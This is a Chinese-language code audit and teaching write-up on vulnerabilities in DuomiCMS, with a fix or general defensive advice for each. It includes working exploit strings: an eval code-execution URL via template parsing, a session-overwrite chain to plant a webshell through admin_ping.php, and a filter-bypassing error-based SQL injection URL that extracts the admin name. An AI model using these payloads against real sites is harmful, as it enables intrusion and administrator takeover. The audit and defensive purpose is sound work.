duomicms代码审计
字数 1493 2025-08-15 21:31:01
DuomiCMS代码审计与漏洞分析教学文档
一、系统流程分析
1. 核心文件加载顺序
- common.inc.php - 安装生成的MySQL配置文件,用于判断系统是否安装
- common.php - 核心配置文件,功能包括:
- 加载webscan.php(二次过滤)
- 定义系统路径
- 加载common.func.php
- 执行外部参数过滤转义
- 加载数据库类(sql.class.php)
- 加载图片类(image.class.php)
- 加载计划任务类
2. 关键安全机制
-
外部变量检测和转义:
- 使用
addslashes进行转义 - 禁止键名包含
cfg_和GLOBALS - 可通过cookie绕过键名限制
- 使用
-
webscan.php二次过滤:
- 过滤黑客常用函数:
union、load_file、sleep、concat、group_xxx - 过滤JS事件函数防止XSS
- 过滤黑客常用函数:
-
sql.class.php数据库安全:
- 校验敏感SQL函数
- 对单引号包裹部分用
$s$替换并保存在$clean变量
二、漏洞分析与利用
1. 代码执行漏洞
位置:core.class.php中的parseIf和parseSubIf方法
利用条件:
- 使用
{if:开头 - Payload长度限制为20字节
- 最终可用payload长度:15字节(扣除
{if:)
利用方式:
search.php?searchword={if:eval($_POST[x])}
修复方案:
$svar = str_replace(array('(', ')'), '', $svar);
2. 变量覆盖漏洞
位置:common.php中的外部变量处理
利用链:
- 通过
$_GET、$_POST、$_COOKIE覆盖变量 - 结合文件写入获取webshell
文件写入点:admin_ping.php
- 需要设置
action=set - Payload示例:
";eval($_POST[x]);//
绕过登录验证:
- 通过member/share.php设置session:
/member/share.php?_SESSION[duomi_user_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1
- 然后访问admin_ping.php写入webshell
修复方案:严格验证session赋值
3. SQL注入漏洞
漏洞文件:duomiphp/ajax.php
可利用参数:uid(位于SQL语句末尾,无引号包裹)
利用限制:
- webscan.php过滤常见SQL关键字
- sql.class.php过滤
select等语句
绕过技巧:
- 使用非常规字段表示法:
`'`.``.vid
- 使用显错注入函数:
extractvalue(1,concat_ws(0x7e,0x7e,(select`name` from duomi_admin where id =1)))
完整利用URL:
duomiphp/ajax.php?action=addfav&id=1&uid=1 and `'`.``.vid and extractvalue(1,concat_ws(0x7e,0x7e,(select`name` from duomi_admin where id =1))) and `'`.``.vid
修复方案:
- 将参数强制转换为数字
- 添加引号包裹
三、知识点扩展
1. SQL注释方式
--+空格#/*!数字 xxxxx*/(数字表示MySQL版本号)
2. 非常规字段表示
column=xxx(正常表示)`任意符号`.``.column=xxx
3. 显错注入技术
-
extractvalue:
extractvalue('目标xml文档',concat('xml路径'))- 最大查询字符串长度:32
-
updatexml:
updatexml('目标xml文档',concat('xml路径'),'更新的内容') -
连接函数:
concat('str1','str2')concat_ws('连接符','str1','str2')group_concat(column)- 返回字符串结果
四、防御建议
-
输入验证:
- 对所有输入参数进行严格类型检查
- 对特殊字符进行过滤或转义
-
会话安全:
- 使用固定会话ID
- 防止会话固定攻击
-
数据库安全:
- 使用预处理语句
- 最小权限原则
-
代码安全:
- 避免使用
eval等危险函数 - 对模板解析进行严格限制
- 避免使用
-
文件操作安全:
- 限制文件写入权限
- 对写入内容进行严格过滤
通过全面分析DuomiCMS的安全漏洞,我们可以更好地理解Web应用程序安全的重要性,并在开发过程中实施更严格的安全措施。